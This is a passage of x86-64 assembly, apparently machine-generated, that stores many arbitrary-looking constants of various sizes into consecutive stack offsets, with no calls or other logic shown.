mov word [rsp + 0x64c], ax
mov eax, 0x6bd
mov word [rsp + 0x650], ax
mov byte [rsp + 0xbe], 0xe7
movabs rax, 0x75b1a626fb2619
mov qword [rsp + 0x2f50], rax
mov eax, 0x7b0
mov word [rsp + 0x654], ax
mov eax, 0x587
mov word [rsp + 0x658], ax
movabs rax, 0x71ec3383c905ed
mov qword [rsp + 0x2f58], rax
movabs rax, 0x7c938b8efec31b
mov qword [rsp + 0x2f60], rax
mov dword [rsp + 0x1c48], 0xe687
mov eax, 0x60a
mov word [rsp + 0x65c], ax
movabs rax, 0x7680604c43abf6
mov qword [rsp + 0x2f68], rax
mov byte [rsp + 0xbf], 0x73
mov eax, 0xe38
mov word [rsp + 0x660], ax
mov byte [rsp + 0xc0], 0x78
mov byte [rsp + 0xc1], 0xc9
mov eax, 0x43f
mov word [rsp + 0x664], ax
mov dword [rsp + 0x1c4c], 0xccfe6fb
mov dword [rsp + 0x1c50], 0x45737459
mov dword [rsp + 0x1c54], 0x1fdf17dc
mov dword [rsp + 0x1c58], 0x7b51
mov dword [rsp + 0x1c5c], 0x3050e3c4
movabs rax, 0x7cb64408fd9dcd
mov qword [rsp + 0x2f70], rax
mov byte [rsp + 0xc2], 0x69
mov eax, 0x7d9
mov word [rsp + 0x668], ax
mov byte [rsp + 0xc3], 0x3a
mov eax, 0x464
mov word [rsp + 0x66c], ax
mov dword [rsp + 0x1c60], 0x502b1468
movabs rax, 0x74bb8888922277
mov qword [rsp + 0x2f78], rax
mov byte [rsp + 0xc4], 0xc5
mov eax, 0x29c
mov word [rsp + 0x670], ax
mov byte [rsp + 0xc5], 0x55
mov eax, 0x60d
mov word [rsp + 0x674], ax
mov byte [rsp + 0xc6], 0xa1
movabs rax, 0x727129a89ce063
mov qword [rsp + 0x2f80], rax
mov dword [rsp + 0x1c64], 0x8b8b
mov byte [rsp + 0xc7], 5
movabs rax, 0x7a5df1c1e1557f
mov qword [rsp + 0x2f88], rax
mov byte [rsp + 0xc8], 0x6c
mov eax, 0xc6c
mov word [rsp + 0x678], ax
mov eax, 0x844
mov word [rsp + 0x67c], ax
mov dword [rsp + 0x1c68], 0x456b
mov eax, 0xa12
mov word [rsp + 0x680], ax
mov eax, 0xd07
mov word [rsp + 0x684], ax
mov byte [rsp + 0xc9], 0x1e
mov eax, 0x2fa
mov word [rsp + 0x688], ax
mov byte [rsp + 0xca], 6
mov dword [rsp + 0x1c6c], 0x865f
movabs rax, 0x79eab2c6a05536
mov qword [rsp + 0x2f90], rax
mov byte [rsp + 0xcb], 0x5b
mov eax, 0xc8e
mov word [rsp + 0x68c], ax
mov eax, 0x45e
mov word [rsp + 0x690], ax
mov dword [rsp + 0x1c70], 0x26c1
movabs rax, 0x722711d70dfd0b
mov qword [rsp + 0x2f98], rax
mov eax, 0x374
mov word [rsp + 0x694], ax
movabs rax, 0x7e22f94511d603
mov qword [rsp + 0x2fa0], rax
mov eax, 0x7e8
mov word [rsp + 0x698], ax
mov byte [rsp + 0xcc], 0x7d
mov eax, 0x6ac
mov word [rsp + 0x69c], ax
movabs rax, 0x728254347c1110
mov qword [rsp + 0x2fa8], rax
mov eax, 0x525
mov word [rsp + 0x6a0], ax
mov dword [rsp + 0x1c74], 0x5c222f90
mov eax, 0xaf7
mov word [rsp + 0x6a4], ax
mov eax, 0x2a0
mov word [rsp + 0x6a8], ax
movabs rax, 0x780a76470f0ba1
mov qword [rsp + 0x2fb0], rax
mov eax, 0x91
mov word [rsp + 0x6ac], ax
mov eax, 0x4f9
mov word [rsp + 0x6b0], ax
mov eax, 0x123
mov word [rsp + 0x6b4], ax
mov eax, 0xc63
mov word [rsp + 0x6b8], ax
mov byte [rsp + 0xcd], 0xd
mov dword [rsp + 0x1c78], 0xb77e
mov eax, 0x9e5
mov word [rsp + 0x6bc], ax
movabs rax, 0x7431782fe2d71c
mov qword [rsp + 0x2fb8], rax
mov eax, 0x4f1
mov word [rsp + 0x6c0], ax
mov eax, 0xa85
mov word [rsp + 0x6c4], ax
mov dword [rsp + 0x1c7c], 0xd55
mov dword [rsp + 0x1c80], 0x37df
mov dword [rsp + 0x1c84], 0x3fcd
mov dword [rsp + 0x1c88], 0x1a81089d
mov dword [rsp + 0x1c8c], 0x425ef745
movabs rax, 0x7c39e8fcdf4e58
mov qword [rsp + 0x2fc0], rax
mov byte [rsp + 0xce], 2
movabs rax, 0x7e98aa62d2db57
mov qword [rsp + 0x2fc8], rax
mov eax, 0x45a
mov word [rsp + 0x6c8], ax
movabs rax, 0x70114f890fc892
mov qword [rsp + 0x2fd0], rax
mov eax, 0x225
mov word [rsp + 0x6cc], ax
mov dword [rsp + 0x1c90], 0xb688
mov eax, 0x28b
mov word [rsp + 0x6d0], ax
movabs rax, 0x748b3f5464b3fb
mov qword [rsp + 0x2fd8], rax
movabs rax, 0x7353e7e42c3f6f
mov qword [rsp + 0x2fe0], rax
mov byte [rsp + 0xcf], 0x70
movabs rax, 0x74b28769e74042
mov qword [rsp + 0x2fe8], rax
mov eax, 0x6a4
mov word [rsp + 0x6d4], ax
mov dword [rsp + 0x1c94], 0x30a5
mov dword [rsp + 0x1c98], 0x938f
mov eax, 5
mov word [rsp + 0x6d8], ax
movabs rax, 0x752db093ed2e9f
mov qword [rsp + 0x2ff0], rax
movabs rax, 0x7942634d2c5ae3
mov qword [rsp + 0x2ff8], rax
movabs rax, 0x7ba5af704a9e8a
mov qword [rsp + 0x3000], rax
mov dword [rsp + 0x1c9c], 0x8d37
mov eax, 0x4dc
mov word [rsp + 0x6dc], ax
mov eax, 0x6b5
mov word [rsp + 0x6e0], ax
mov eax, 0x187
mov word [rsp + 0x6e4], ax
mov dword [rsp + 0x1ca0], 0xe615
movabs rax, 0x7acd063cbd28da
mov qword [rsp + 0x3008], rax
mov eax, 0xab2
mov word [rsp + 0x6e8], ax
mov eax, 0x47b
mov word [rsp + 0x6ec], ax
mov byte [rsp + 0xd0], 0xf8
mov eax, 0xe22
mov word [rsp + 0x6f0], ax
mov eax, 0x936
mov word [rsp + 0x6f4], ax
mov eax, 0x421
mov word [rsp + 0x6f8], ax
mov eax, 0xb40
mov word [rsp + 0x6fc], ax
mov byte [rsp + 0xd1], 0x26
mov eax, 0x2c
mov word [rsp + 0x700], ax
mov eax, 0x3c2
mov word [rsp + 0x704], ax
mov eax, 0xb99
mov word [rsp + 0x708], ax
mov dword [rsp + 0x1ca4], 0xb4f4
mov dword [rsp + 0x1ca8], 0x2f0
mov byte [rsp + 0xd2], 0x76
mov eax, 0xa66
mov word [rsp + 0x70c], ax
mov eax, 0x24b
mov word [rsp + 0x710], ax
movabs rax, 0x7c773221e759c8
mov qword [rsp + 0x3010], rax
mov eax, 0x650
mov word [rsp + 0x714], ax
mov eax, 0x795
mov word [rsp + 0x718], ax
movabs rax, 0x7e2fdcc6235192
mov qword [rsp + 0x3018], rax
mov byte [rsp + 0xd3], 0x41
mov eax, 0x487
mov word [rsp + 0x71c], ax
mov byte [rsp + 0xd4], 0x27
movabs rax, 0x7bf558228450d2
mov qword [rsp + 0x3020], rax
mov byte [rsp + 0xd5], 0xa2
mov byte [rsp + 0xd6], 0x62
mov byte [rsp + 0xd7], 0x5b
movabs rax, 0x7cbd353e0cb85b
mov qword [rsp + 0x3028], rax
mov byte [rsp + 0xd8], 0xa5
mov eax, 0x855
mov word [rsp + 0x720], ax
mov eax, 0x72c
mov word [rsp + 0x724], ax
movabs rax, 0x76ab74352a73a2
mov qword [rsp + 0x3030], rax
movabs rax, 0x7cb8c6fe88353a
mov qword [rsp + 0x3038], rax
movabs rax, 0x78f0da633ec177
mov qword [rsp + 0x3040], rax
movabs rax, 0x73cc9ccf903227
mov qword [rsp + 0x3048], rax
mov eax, 0xc00
mov word [rsp + 0x728], ax
movabs rax, 0x772901c57d169c
mov qword [rsp + 0x3050], rax
movabs rax, 0x70964b066018df
mov qword [rsp + 0x3058], rax
movabs rax, 0x72522d510ff0ec
mov qword [rsp + 0x3060], rax
mov eax, 0x765
mov word [rsp + 0x72c], ax
movabs rax, 0x7e27685d1f4698
mov qword [rsp + 0x3068], rax
movabs rax, 0x72d78bddab434d
mov qword [rsp + 0x3070], rax
movabs rax, 0x741300d9c1bece
mov qword [rsp + 0x3078], rax
mov byte [rsp + 0xd9], 0x6d
mov byte [rsp + 0xda], 0x21
mov dword [rsp + 0x1cac], 0xb6d5
mov dword [rsp + 0x1cb0], 0x12a7
movabs rax, 0x76646169e7c159
mov qword [rsp + 0x3080], rax
movabs rax, 0x715003545c9003
mov qword [rsp + 0x3088], rax
movabs rax, 0x7961c7b59a4108
mov qword [rsp + 0x3090], rax
movabs rax, 0x7b8a5ed6128ea6
mov qword [rsp + 0x3098], rax
movabs rax, 0x711c0026674c2c
mov qword [rsp + 0x30a0], rax
mov eax, 0x769
mov word [rsp + 0x730], ax
movabs rax, 0x7e22c87b15e77a
mov qword [rsp + 0x30a8], rax
mov eax, 0x49f
mov word [rsp + 0x734], ax
mov dword [rsp + 0x1cb4], 0x79fb
mov eax, 0xcce
mov word [rsp + 0x738], ax
mov dword [rsp + 0x1cb8], 0x765e81e4
mov eax, 0x428
mov word [rsp + 0x73c], ax
mov eax, 0x256
mov word [rsp + 0x740], ax
movabs rax, 0x7bedb416c1a033
mov qword [rsp + 0x30b0], rax
mov byte [rsp + 0xdb], 0x49
mov byte [rsp + 0xdc], 0x61
mov byte [rsp + 0xdd], 0x6f
mov eax, 0x7c4
mov word [rsp + 0x744], ax
mov eax, 0x32c
mov word [rsp + 0x748], ax
movabs rax, 0x7cddd20e9d6bc1
mov qword [rsp + 0x30b8], rax
mov eax, 0x5e5
mov word [rsp + 0x74c], ax
mov byte [rsp + 0xde], 0x49
movabs rax, 0x706d5b3842c0ed
mov qword [rsp + 0x30c0], rax
mov dword [rsp + 0x1cbc], 0x64250cf4
movabs rax, 0x75fc237a2aefb6
mov qword [rsp + 0x30c8], rax
mov eax, 0x20f
mov word [rsp + 0x750], ax
movabs rax, 0x7b7d216e961d2e
mov qword [rsp + 0x30d0], rax
mov byte [rsp + 0xdf], 0x36
movabs rax, 0x729122786bf7a7
mov qword [rsp + 0x30d8], rax
movabs rax, 0x7772cc78dcaa28
mov qword [rsp + 0x30e0], rax
mov byte [rsp + 0xe0], 0x4d
movabs rax, 0x7153612d3934d8
mov qword [rsp + 0x30e8], rax
mov byte [rsp + 0xe1], 0xed
mov dword [rsp + 0x1cc0], 0xbe72
mov dword [rsp + 0x1cc4], 0x2834edef
mov byte [rsp + 0xe2], 0x1f
mov eax, 0x2bb
mov word [rsp + 0x754], ax
movabs rax, 0x7583abf3acf498
mov qword [rsp + 0x30f0], rax
movabs rax, 0x748473ebd613fc
mov qword [rsp + 0x30f8], rax
movabs rax, 0x7876def77e8b68
mov qword [rsp + 0x3100], rax
movabs rax, 0x739223c96fa0f7
mov qword [rsp + 0x3108], rax
mov dword [rsp + 0x1cc8], 0xa3e0
movabs rax, 0x70691ca98661fc
mov qword [rsp + 0x3110], rax
movabs rax, 0x7e1b565818e5ba
mov qword [rsp + 0x3118], rax
movabs rax, 0x75d812747b842a
mov qword [rsp + 0x3120], rax
mov eax, 0x4dd
mov word [rsp + 0x758], ax
mov byte [rsp + 0xe3], 0x73
movabs rax, 0x7868870faba980
mov qword [rsp + 0x3128], rax
movabs rax, 0x7ca5a06aa7ea3e
mov qword [rsp + 0x3130], rax
mov dword [rsp + 0x1ccc], 0x5ad0
movabs rax, 0x78e8841d735c7d
mov qword [rsp + 0x3138], rax
mov dword [rsp + 0x1cd0], 0x41ef
movabs rax, 0x710e4f827630e5
mov qword [rsp + 0x3140], rax
movabs rax, 0x73e4984287e49b
mov qword [rsp + 0x3148], rax
mov eax, 0x540
mov word [rsp + 0x75c], ax
mov byte [rsp + 0xe4], 0x3b
mov eax, 0xf9c
mov word [rsp + 0x760], ax
mov eax, 0xb54
mov word [rsp + 0x764], ax
mov dword [rsp + 0x1cd4], 0xfd1d
mov byte [rsp + 0xe5], 0x69
mov byte [rsp + 0xe6], 0x6e
mov eax, 0xfc
mov word [rsp + 0x768], ax
mov dword [rsp + 0x1cd8], 0x1e1e
mov eax, 0xa45
mov word [rsp + 0x76c], ax
mov dword [rsp + 0x1cdc], 0x89e1
movabs rax, 0x7a2acd4203ded5
mov qword [rsp + 0x3150], rax
movabs rax, 0x72e077f1454daf
mov qword [rsp + 0x3158], rax
mov byte [rsp + 0xe7], 0x5a
mov dword [rsp + 0x1ce0], 0x6912
mov dword [rsp + 0x1ce4], 0x8485
mov eax, 0x112
mov word [rsp + 0x770], ax
movabs rax, 0x78810f39815095
mov qword [rsp + 0x3160], rax
mov eax, 0x2b
mov word [rsp + 0x774], ax
mov byte [rsp + 0xe8], 0x42
mov eax, 0xc5a
mov word [rsp + 0x778], ax
mov dword [rsp + 0x1ce8], 0x4c352ccb
mov byte [rsp + 0xe9], 0xed
movabs rax, 0x7cf2b8e2d70194
mov qword [rsp + 0x3168], rax
mov byte [rsp + 0xea], 0x7c
movabs rax, 0x7d72f65ae5aa4c
mov qword [rsp + 0x3170], rax
mov byte [rsp + 0xeb], 0x54
movabs rax, 0x7adc5fb9a039aa
mov qword [rsp + 0x3178], rax
movabs rax, 0x79c3ecaeb66f33
mov qword [rsp + 0x3180], rax
movabs rax, 0x7b55d7f24039c6
mov qword [rsp + 0x3188], rax
mov byte [rsp + 0xec], 0x1d
movabs rax, 0x71d98621c8266b
mov qword [rsp + 0x3190], rax
mov byte [rsp + 0xed], 0x12
mov byte [rsp + 0xee], 0x1c
mov dword [rsp + 0x1cec], 0x6ae7
mov eax, 0x56d
mov word [rsp + 0x77c], ax
mov eax, 0x280
mov word [rsp + 0x780], ax
mov eax, 0xce
mov word [rsp + 0x784], ax
mov byte [rsp + 0xef], 0x87
mov eax, 0x11a
mov word [rsp + 0x788], ax
mov eax, 0x4ea
mov word [rsp + 0x78c], ax
mov eax, 0x236
mov word [rsp + 0x790], ax
movabs rax, 0x75862807779f90
mov qword [rsp + 0x3198], rax
mov dword [rsp + 0x1cf0], 0x5aee
mov dword [rsp + 0x1cf4], 0x6fb7
mov byte [rsp + 0xf0], 0x2b
mov byte [rsp + 0xf1], 0x4a
movabs rax, 0x7910421a0bbe67
mov qword [rsp + 0x31a0], rax
mov eax, 0x66d
mov word [rsp + 0x794], ax
mov dword [rsp + 0x1cf8], 0x6cb55147
mov eax, 0x679
mov word [rsp + 0x798], ax
mov eax, 0x5a
mov word [rsp + 0x79c], ax
mov byte [rsp + 0xf2], 8
mov dword [rsp + 0x1cfc], 0xd02b
mov byte [rsp + 0xf3], 0x18
movabs rax, 0x76f7cb6b3c1899
mov qword [rsp + 0x31a8], rax
mov eax, 0x552
mov word [rsp + 0x7a0], ax
mov eax, 0x44b
mov word [rsp + 0x7a4], ax
mov byte [rsp + 0xf4], 0x51
mov eax, 0x551
mov word [rsp + 0x7a8], ax
movabs rax, 0x7815a5ac30dfda
mov qword [rsp + 0x31b0], rax
movabs rax, 0x73a124f226134d
mov qword [rsp + 0x31b8], rax
movabs rax, 0x7132d6ea483f36
mov qword [rsp + 0x31c0], rax
movabs rax, 0x7a87d737d4e533
mov qword [rsp + 0x31c8], rax
mov eax, 0x5d1
mov word [rsp + 0x7ac], ax
mov byte [rsp + 0xf5], 0x6d
mov dword [rsp + 0x1d00], 0x99ee
movabs rax, 0x71506089dd66e5
mov qword [rsp + 0x31d0], rax
mov eax, 0x10a
mov word [rsp + 0x7b0], ax
mov eax, 0xe81
mov word [rsp + 0x7b4], ax
mov byte [rsp + 0xf6], 8
movabs rax, 0x7874b8ae9e377c
mov qword [rsp + 0x31d8], rax
mov byte [rsp + 0xf7], 0x2b
movabs rax, 0x7e9234fddb384f
mov qword [rsp + 0x31e0], rax
mov dword [rsp + 0x1d04], 0x501405fb
mov eax, 0xbe3
mov word [rsp + 0x7b8], ax
mov byte [rsp + 0xf8], 0x33
movabs rax, 0x7003926d98d4c0
mov qword [rsp + 0x31e8], rax
mov eax, 0x58c
mov word [rsp + 0x7bc], ax
mov eax, 0x3f0
mov word [rsp + 0x7c0], ax
mov dword [rsp + 0x1d08], 0x7f677a18
movabs rax, 0x70ecd31ad23906
mov qword [rsp + 0x31f0], rax
mov eax, 0x399
mov word [rsp + 0x7c4], ax
mov dword [rsp + 0x1d0c], 0x56f
mov eax, 0x63c
mov word [rsp + 0x7c8], ax
mov dword [rsp + 0x1d10], 0x3d9b
mov eax, 0x93a
mov word [rsp + 0x7cc], ax
mov byte [rsp + 0xf9], 0x4e
mov byte [rsp + 0xfa], 0x5d
mov eax, 0x148
mov word [rsp + 0x7d0], ax
mov byte [rsp + 0xfb], 0xf4
movabs rax, 0x79401b771c2686
mov qword [rsp + 0x31f8], rax
movabs rax, 0x7ed441ba1d6659
mov qword [rsp + 0x3200], rax
movabs rax, 0x76a3b2e3cf8504
mov qword [rsp + 0x3208], rax
mov eax, 0x5d5
mov word [rsp + 0x7d4], ax
mov byte [rsp + 0xfc], 0x64
mov dword [rsp + 0x1d14], 0xf143
mov eax, 0x30f
mov word [rsp + 0x7d8], ax
movabs rax, 0x7995d9801c7e91
mov qword [rsp + 0x3210], rax
mov eax, 0x6ec
mov word [rsp + 0x7dc], ax
movabs rax, 0x70c25f2999b12c
mov qword [rsp + 0x3218], rax
mov byte [rsp + 0xfd], 0x90
movabs rax, 0x75323bdf54f290
mov qword [rsp + 0x3220], rax
movabs rax, 0x77eeb17a333cd3
mov qword [rsp + 0x3228], rax
movabs rax, 0x77c78b87c9d2b6
mov qword [rsp + 0x3230], rax
mov byte [rsp + 0xfe], 0xe
movabs rax, 0x738d3398337425
mov qword [rsp + 0x3238], rax
mov eax, 0x6c9
mov word [rsp + 0x7e0], ax
mov dword [rsp + 0x1d18], 0x3a10
mov byte [rsp + 0xff], 0x67
mov eax, 0x2ef
mov word [rsp + 0x7e4], ax
movabs rax, 0x7408e7b2b5eb0a
mov qword [rsp + 0x3240], rax
movabs rax, 0x795e3a2f2eccdc
mov qword [rsp + 0x3248], rax
mov dword [rsp + 0x1d1c], 0x77bb9344
mov byte [rsp + 0x100], 0xb
mov eax, 0x5a2
mov word [rsp + 0x7e8], ax
movabs rax, 0x7c910f113acd07
mov qword [rsp + 0x3250], rax
movabs rax, 0x7b58ab83a702dc
mov qword [rsp + 0x3258], rax
movabs rax, 0x7e49e83fe4b070
mov qword [rsp + 0x3260], rax
mov eax, 0x6fc
mov word [rsp + 0x7ec], ax
movabs rax, 0x7aa9c4fb143049
mov qword [rsp + 0x3268], rax
mov byte [rsp + 0x101], 0x1f
mov eax, 0x5fb
mov word [rsp + 0x7f0], ax
movabs rax, 0x7e8c4e8119de76
mov qword [rsp + 0x3270], rax
mov eax, 0x286
mov word [rsp + 0x7f4], ax
mov byte [rsp + 0x102], 0x72
movabs rax, 0x71e210a094ee31
mov qword [rsp + 0x3278], rax
mov eax, 2
mov word [rsp + 0x7f8], ax
mov eax, 0x2f4
mov word [rsp + 0x7fc], ax
mov eax, 0xe9d
mov word [rsp + 0x800], ax
movabs rax, 0x73ec6ff307577a
mov qword [rsp + 0x3280], rax
mov eax, 0x5eb
mov word [rsp + 0x804], ax
movabs rax, 0x75c19af6e050f7
mov qword [rsp + 0x3288], rax
movabs rax, 0x7da32fac033a51
mov qword [rsp + 0x3290], rax
movabs rax, 0x73498e14d1c5b6
mov qword [rsp + 0x3298], rax
movabs rax, 0x77ed27c54d2421
mov qword [rsp + 0x32a0], rax
mov eax, 0xd2a
mov word [rsp + 0x808], ax
mov dword [rsp + 0x1d20], 0x298f
mov eax, 0x80
mov word [rsp + 0x80c], ax
mov dword [rsp + 0x1d24], 0x49494d4f
mov eax, 0x661
mov word [rsp + 0x810], ax
mov eax, 0xe81
mov word [rsp + 0x814], ax
movabs rax, 0x76ad5cd74506f3
mov qword [rsp + 0x32a8], rax
mov dword [rsp + 0x1d28], 0xd731
mov dword [rsp + 0x1d2c], 0x746b
mov eax, 0xcb
mov word [rsp + 0x818], ax
movabs rax, 0x738117ef1745a4
mov qword [rsp + 0x32b0], rax
mov eax, 0x6a0
mov word [rsp + 0x81c], ax
mov dword [rsp + 0x1d30], 0x76344075
mov byte [rsp + 0x103], 0x59
mov dword [rsp + 0x1d34], 0x2d084726
movabs rax, 0x77f0ba9e33ef18
mov qword [rsp + 0x32b8], rax
mov eax, 0x574
mov word [rsp + 0x820], ax
mov eax, 0x7c5
mov word [rsp + 0x824], ax
mov dword [rsp + 0x1d38], 0x2901
movabs rax, 0x783cbef766ff1a
mov qword [rsp + 0x32c0], rax
movabs rax, 0x78d02acee90475
mov qword [rsp + 0x32c8], rax
movabs rax, 0x7eee69ec5eb391
mov qword [rsp + 0x32d0], rax
mov byte [rsp + 0x104], 0x70
mov byte [rsp + 0x105], 0x25
mov dword [rsp + 0x1d3c], 0x7ee4
mov dword [rsp + 0x1d40], 0x62a6a84b
mov byte [rsp + 0x106], 0x3f
mov byte [rsp + 0x107], 0x39
movabs rax, 0x78f3fa06b3e691
mov qword [rsp + 0x32d8], rax
mov byte [rsp + 0x108], 0x30
mov byte [rsp + 0x109], 0x1d
mov eax, 0x914
mov word [rsp + 0x828], ax
movabs rax, 0x722bcff37e4764
mov qword [rsp + 0x32e0], rax
mov dword [rsp + 0x1d44], 0x200
mov eax, 0xb60
mov word [rsp + 0x82c], ax
mov eax, 0xe3
mov word [rsp + 0x830], ax
movabs rax, 0x7acf6365c5fffd
mov qword [rsp + 0x32e8], rax
movabs rax, 0x7ce9b18cdf9782
mov qword [rsp + 0x32f0], rax
mov eax, 0x68f
mov word [rsp + 0x834], ax
mov dword [rsp + 0x1d48], 0x6bb0
mov dword [rsp + 0x1d4c], 0xa9a
mov eax, 0x638
mov word [rsp + 0x838], ax
movabs rax, 0x76a5d090ea60e2
mov qword [rsp + 0x32f8], rax
mov dword [rsp + 0x1d50], 0x5c3f8c4a
mov eax, 0x6cc
mov word [rsp + 0x83c], ax
mov eax, 0x7c1
mov word [rsp + 0x840], ax
mov dword [rsp + 0x1d54], 0xad4f
mov dword [rsp + 0x1d58], 0x81fb
mov eax, 0xf8c
mov word [rsp + 0x844], ax
movabs rax, 0x7372bbf242d7a8
mov qword [rsp + 0x3300], rax
movabs rax, 0x773eeb303815f5
mov qword [rsp + 0x3308], rax
mov dword [rsp + 0x1d5c], 0xc6ac
movabs rax, 0x71ecfa47d845e9
mov qword [rsp + 0x3310], rax
mov dword [rsp + 0x1d60], 0x6591
mov eax, 0x7fb
mov word [rsp + 0x848], ax
movabs rax, 0x75fb4b2135de5f
mov qword [rsp + 0x3318], rax
movabs rax, 0x725fb19ca0d344
mov qword [rsp + 0x3320], rax
movabs rax, 0x71ed11d2f5bbdf
mov qword [rsp + 0x3328], rax
mov byte [rsp + 0x10a], 0x14
movabs rax, 0x78674681685361
mov qword [rsp + 0x3330], rax
mov eax, 0x735
mov word [rsp + 0x84c], ax
mov dword [rsp + 0x1d64], 0x444f
mov byte [rsp + 0x10b], 0x71
movabs rax, 0x721e8fc6cd3934
mov qword [rsp + 0x3338], rax
mov eax, 0xad2
mov word [rsp + 0x850], ax
mov dword [rsp + 0x1d68], 0x92b6
mov dword [rsp + 0x1d6c], 0x8cf5
mov eax, 5
mov word [rsp + 0x854], ax
mov eax, 0x277
mov word [rsp + 0x858], ax
mov byte [rsp + 0x10c], 0x29
movabs rax, 0x716e942b038495
mov qword [rsp + 0x3340], rax
mov byte [rsp + 0x10d], 0x55
mov eax, 0x3a0
mov word [rsp + 0x85c], ax
mov dword [rsp + 0x1d70], 0xcc0e
mov byte [rsp + 0x10e], 0x56
mov eax, 0xe84
mov word [rsp + 0x860], ax
mov eax, 0x3cf
mov word [rsp + 0x864], ax
mov eax, 0xc84
mov word [rsp + 0x868], ax
mov eax, 0x9e
mov word [rsp + 0x86c], ax
mov dword [rsp + 0x1d74], 0x1610
mov dword [rsp + 0x1d78], 0x5309
mov byte [rsp + 0x10f], 0x46
movabs rax, 0x75cd8e7449ec37
mov qword [rsp + 0x3348], rax
movabs rax, 0x70351a52c11f08
mov qword [rsp + 0x3350], rax
movabs rax, 0x7cf4d2dd67387e
mov qword [rsp + 0x3358], rax
movabs rax, 0x77a2de7c076d33
mov qword [rsp + 0x3360], rax
mov byte [rsp + 0x110], 0x66
mov dword [rsp + 0x1d7c], 0x7a20
movabs rax, 0x79e6462b3026af
mov qword [rsp + 0x3368], rax
mov dword [rsp + 0x1d80], 0x579e
movabs rax, 0x7b9b3be80bbb40
mov qword [rsp + 0x3370], rax
mov eax, 0x998
mov word [rsp + 0x870], ax
mov eax, 0xba7
mov word [rsp + 0x874], ax
mov byte [rsp + 0x111], 0xfd
mov eax, 0x2d9
mov word [rsp + 0x878], ax
mov eax, 0x8ea
mov word [rsp + 0x87c], ax
mov dword [rsp + 0x1d84], 0x6b4e
mov byte [rsp + 0x112], 0x15
mov byte [rsp + 0x113], 0xc
mov eax, 0x4f8
mov word [rsp + 0x880], ax
mov byte [rsp + 0x114], 0xf
mov dword [rsp + 0x1d88], 0xe371
mov eax, 0x3b4
mov word [rsp + 0x884], ax
mov eax, 0x7cc
mov word [rsp + 0x888], ax
mov eax, 0xc80
mov word [rsp + 0x88c], ax
movabs rax, 0x7c755ccbcc28de
mov qword [rsp + 0x3378], rax
movabs rax, 0x73efa01ba56bd4
mov qword [rsp + 0x3380], rax
mov dword [rsp + 0x1d8c], 0x6476a2ef
mov dword [rsp + 0x1d90], 0xb729
mov dword [rsp + 0x1d94], 0x2e75
mov byte [rsp + 0x115], 0x45
movabs rax, 0x7200f5a39cd1a6
mov qword [rsp + 0x3388], rax
mov eax, 0xe9
mov word [rsp + 0x890], ax
mov byte [rsp + 0x116], 0xbe
mov eax, 0x4b4
mov word [rsp + 0x894], ax
movabs rax, 0x7df3547c06dc47
mov qword [rsp + 0x3390], rax
mov eax, 0xdd6
mov word [rsp + 0x898], ax
mov eax, 0x5a
mov word [rsp + 0x89c], ax
mov eax, 0xd82
mov word [rsp + 0x8a0], ax
mov dword [rsp + 0x1d98], 0x35b6
mov eax, 0x3c4
mov word [rsp + 0x8a4], ax
movabs rax, 0x7aa40dce52774a
mov qword [rsp + 0x3398], rax
mov byte [rsp + 0x117], 0x4d
movabs rax, 0x7d56c4039a7de6
mov qword [rsp + 0x33a0], rax
movabs rax, 0x73d75da8cdb2a6
mov qword [rsp + 0x33a8], rax
mov eax, 0x680
mov word [rsp + 0x8a8], ax
mov eax, 0x786
mov word [rsp + 0x8ac], ax
mov eax, 0x929
mov word [rsp + 0x8b0], ax
mov byte [rsp + 0x118], 0xb3
movabs rax, 0x784bc2d67210d0
mov qword [rsp + 0x33b0], rax
mov eax, 0x6ad
mov word [rsp + 0x8b4], ax
movabs rax, 0x7b1907ceb4309c
mov qword [rsp + 0x33b8], rax
movabs rax, 0x791f632199306b
mov qword [rsp + 0x33c0], rax
mov byte [rsp + 0x119], 0x7c
mov byte [rsp + 0x11a], 0x12
mov byte [rsp + 0x11b], 3
mov byte [rsp + 0x11c], 0x61
movabs rax, 0x7ec7f9d06f4340
mov qword [rsp + 0x33c8], rax
mov byte [rsp + 0x11d], 0
mov eax, 0xf
mov word [rsp + 0x8b8], ax
movabs rax, 0x7e170526a9f517
mov qword [rsp + 0x33d0], rax
mov eax, 0x218
mov word [rsp + 0x8bc], ax
mov byte [rsp + 0x11e], 0x1a
mov dword [rsp + 0x1d9c], 0x78edcf60
mov byte [rsp + 0x11f], 0xb
movabs rax, 0x7edfe6f6958ee9
mov qword [rsp + 0x33d8], rax
movabs rax, 0x76f21c864989bc
mov qword [rsp + 0x33e0], rax
mov eax, 0x46d
mov word [rsp + 0x8c0], ax
movabs rax, 0x79fbfdd1762a32
mov qword [rsp + 0x33e8], rax
mov byte [rsp + 0x120], 0
mov eax, 0xff8
mov word [rsp + 0x8c4], ax
mov byte [rsp + 0x121], 0x1a
mov dword [rsp + 0x1da0], 0x4b49
mov eax, 0x1fe
mov word [rsp + 0x8c8], ax
movabs rax, 0x7583d1e61bc711
mov qword [rsp + 0x33f0], rax
movabs rax, 0x734fbc2bc86b4d
mov qword [rsp + 0x33f8], rax
mov byte [rsp + 0x122], 0x39
movabs rax, 0x74c008c57ad622
mov qword [rsp + 0x3400], rax
mov eax, 0xfd8
mov word [rsp + 0x8cc], ax
mov dword [rsp + 0x1da4], 0x7e60
mov eax, 0x3b1
mov word [rsp + 0x8d0], ax
mov eax, 0xf6f
mov word [rsp + 0x8d4], ax
movabs rax, 0x7cbf60eeb9c61b
mov qword [rsp + 0x3408], rax
movabs rax, 0x738d29dd993641
mov qword [rsp + 0x3410], rax
mov dword [rsp + 0x1da8], 0x584e05d2
movabs rax, 0x75731fd28c5dfe
mov qword [rsp + 0x3418], rax
mov eax, 0x2cf
mov word [rsp + 0x8d8], ax
mov dword [rsp + 0x1dac], 0x4d6ceb15
movabs rax, 0x7539891ad369f9
mov qword [rsp + 0x3420], rax
mov byte [rsp + 0x123], 0x29
mov byte [rsp + 0x124], 0xc
movabs rax, 0x7a10379f2e285f
mov qword [rsp + 0x3428], rax
mov dword [rsp + 0x1db0], 0xae1f
mov dword [rsp + 0x1db4], 0xa25a
mov eax, 0xd92
mov word [rsp + 0x8dc], ax
mov eax, 0x3b8
mov word [rsp + 0x8e0], ax
movabs rax, 0x74b7420735f4a6
mov qword [rsp + 0x3430], rax
movabs rax, 0x7714e2c4a2eac4
mov qword [rsp + 0x3438], rax
movabs rax, 0x7c04b75da443a4
mov qword [rsp + 0x3440], rax
movabs rax, 0x79d46e1f781283
mov qword [rsp + 0x3448], rax
mov dword [rsp + 0x1db8], 0x5752
mov eax, 0x14
mov word [rsp + 0x8e4], ax
mov eax, 0x196
mov word [rsp + 0x8e8], ax
